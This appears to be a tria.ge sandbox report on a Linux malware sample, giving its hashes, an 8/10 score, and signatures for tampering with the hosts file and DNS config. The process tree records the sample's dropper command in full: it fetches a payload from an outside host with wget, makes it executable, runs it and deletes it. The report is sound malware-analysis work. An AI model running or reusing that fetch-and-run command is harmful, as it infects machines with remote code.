Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
0s -
max time network
178s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
submitted
24/06/2022, 22:48
Static task
static1
Behavioral task
behavioral1
Sample
11b2d114d86067226ee78be2bbfc2dcbb199ffabd29cda895a6942c4d97a73fc
Resource
ubuntu1804-amd64-en-20211208
0 signatures
0 seconds
General
-
Target
11b2d114d86067226ee78be2bbfc2dcbb199ffabd29cda895a6942c4d97a73fc
-
Size
97KB
-
MD5
71950012ff5b996b04d2bb32e5473688
-
SHA1
c377bf47e961178a5b4459e5be7bfa58abc7f1fe
-
SHA256
11b2d114d86067226ee78be2bbfc2dcbb199ffabd29cda895a6942c4d97a73fc
-
SHA512
4364f72cc715ebcecefcb711e9d1deee35825348b554c36e1df02a877bc1c4bab74ac2538b549392eeb3c24206721e225f70ecf32f91c005b0899bde1a0f1dee
Score
8/10
Malware Config
Signatures
-
Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
description ioc Process /etc/hosts /etc/hosts wget -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process /etc/resolv.conf /etc/resolv.conf wget
Processes
-
./11b2d114d86067226ee78be2bbfc2dcbb199ffabd29cda895a6942c4d97a73fc./11b2d114d86067226ee78be2bbfc2dcbb199ffabd29cda895a6942c4d97a73fc1⤵PID:571
-
/bin/sh/bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."1⤵PID:572
-
/usr/bin/wgetwget -q http://gay.energy/.../vivid -O .....2⤵
- Modifies hosts file
- Writes DNS configuration
PID:576
-
-
/bin/chmodchmod 777 .....2⤵PID:577
-
-
./....../.....2⤵PID:578
-
-
/bin/sh/bin/sh ./.....2⤵PID:578
-
-
/bin/rmrm -rf .....2⤵PID:580
-